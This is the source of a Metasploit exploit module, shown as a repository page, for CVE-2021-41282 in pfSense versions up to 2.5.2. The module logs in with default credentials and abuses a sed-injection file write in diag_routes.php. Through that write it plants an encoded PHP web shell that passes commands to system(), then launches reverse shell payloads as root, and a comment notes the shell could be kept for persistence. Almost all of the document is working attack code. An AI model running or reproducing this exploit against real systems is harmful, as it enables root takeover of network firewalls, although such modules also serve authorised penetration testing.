Path: blob/master/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb
33939 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::FileDropper11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'pfSense Diag Routes Web Shell Upload',18'Description' => %q{19This module exploits an arbitrary file creation vulnerability in the pfSense20HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.221and can be exploited by an authenticated user if they have the22"WebCfg - Diagnostics: Routing tables" privilege.2324This module uses the vulnerability to create a web shell and execute payloads25with root privileges.26},27'License' => MSF_LICENSE,28'Author' => [29'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery30'jbaines-r7' # metasploit module31],32'References' => [33['CVE', '2021-41282'],34['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']35],36'DisclosureDate' => '2022-02-23',37'Privileged' => true,38'Targets' => [39[40'Unix Command',41{42'Platform' => 'unix',43'Arch' => ARCH_CMD,44'Type' => :unix_cmd,45'DefaultOptions' => {46'PAYLOAD' => 'cmd/unix/reverse_openssl'47},48'Payload' => {49'Append' => '& disown'50}51}52],53[54'BSD Dropper',55{56'Platform' => 'bsd',57'Arch' => [ARCH_X64],58'Type' => :bsd_dropper,59'CmdStagerFlavor' => [ 'curl' ],60'DefaultOptions' => {61'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'62}63}64]65],66'DefaultTarget' => 1,67'DefaultOptions' => {68'RPORT' => 443,69'SSL' => true70},71'Notes' => {72'Stability' => [CRASH_SAFE],73'Reliability' => [REPEATABLE_SESSION],74'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]75}76)77)78register_options [79OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),80OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),81OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),82OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])83]8485@webshell_uri = '/'86@webshell_path = '/usr/local/www/'87end8889# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,90# pfsense permissions can be so locked down that we have to try direct exploitation91# in order to determine vulnerability. A user can even be restricted from the92# dashboard (where other pfsense modules extract the version).93def check94# Grab a CSRF token so that we can log in95res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))96return CheckCode::Unknown("Didn't receive a response from the target.") unless res97return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 20098return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')99100/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body101return CheckCode::Unknown('Could not find CSRF token') unless csrf102103# send the log in attempt104res = send_request_cgi(105'uri' => normalize_uri(target_uri.path, '/index.php'),106'method' => 'POST',107'vars_post' => {108'__csrf_magic' => csrf,109'usernamefld' => datastore['USERNAME'],110'passwordfld' => datastore['PASSWORD'],111'login' => ''112}113)114115return CheckCode::Detected('No response to log in attempt.') unless res116return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302117118# save the auth cookie for later user119@auth_cookies = res.get_cookies120121# attempt the exploit. Upload a random file to /usr/local/www/ with random contents122filename = Rex::Text.rand_text_alpha(4..12)123contents = Rex::Text.rand_text_alpha(16..32)124res = send_request_cgi({125'method' => 'GET',126'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),127'cookie' => @auth_cookies,128'encode_params' => false,129'vars_get' => {130'isAjax' => '1',131'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"132}133})134135return CheckCode::Safe('No response to upload attempt.') unless res136return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200137138# Validate the exploit was successful by requesting the uploaded file139res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })140return CheckCode::Safe('No response to exploit validation check.') unless res141return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200142143register_file_for_cleanup("#{@webshell_path}#{filename}")144CheckCode::Vulnerable()145end146147# Using the path traversal, upload a php webshell to the remote target148def drop_webshell149webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")150print_status("Uploading webshell to #{webshell_location}")151152# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'153php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'154155res = send_request_cgi({156'method' => 'GET',157'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),158'cookie' => @auth_cookies,159'encode_params' => false,160'vars_get' => {161'isAjax' => '1',162'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"163}164})165166fail_with(Failure::Disconnected, 'Connection failed') unless res167fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200168169# Test the web shell installed by echoing a random string and ensure it appears in the res.body170print_status('Testing if web shell installation was successful')171rand_data = Rex::Text.rand_text_alphanumeric(16..32)172res = execute_via_webshell("echo #{rand_data}")173fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)174print_good("Web shell installed at #{webshell_location}")175176# This is a great place to leave a web shell for persistence since it doesn't require auth177# to touch it. By default, we'll clean this up but the attacker has to option to leave it178if datastore['DELETE_WEBSHELL']179register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")180end181end182183# Executes commands via the uploaded webshell184def execute_via_webshell(cmd)185if target['Type'] == :bsd_dropper186# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good187# way to force the payload to background itself (and thus allow the HTTP response to188# to return). So we hack it in ourselves. This identifies the ending file cleanup189# which should be right after executing the payload.190cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')191end192193res = send_request_cgi({194'method' => 'GET',195'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),196'vars_get' => {197'cmd' => cmd198}199})200201fail_with(Failure::Disconnected, 'Connection failed') unless res202fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200203res204end205206def execute_command(cmd, _opts = {})207execute_via_webshell(cmd)208end209210def exploit211# create a randomish web shell name if the user doesn't specify one212@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"213214drop_webshell215216print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")217case target['Type']218when :unix_cmd219execute_command(payload.encoded)220when :bsd_dropper221execute_cmdstager222end223end224end225226227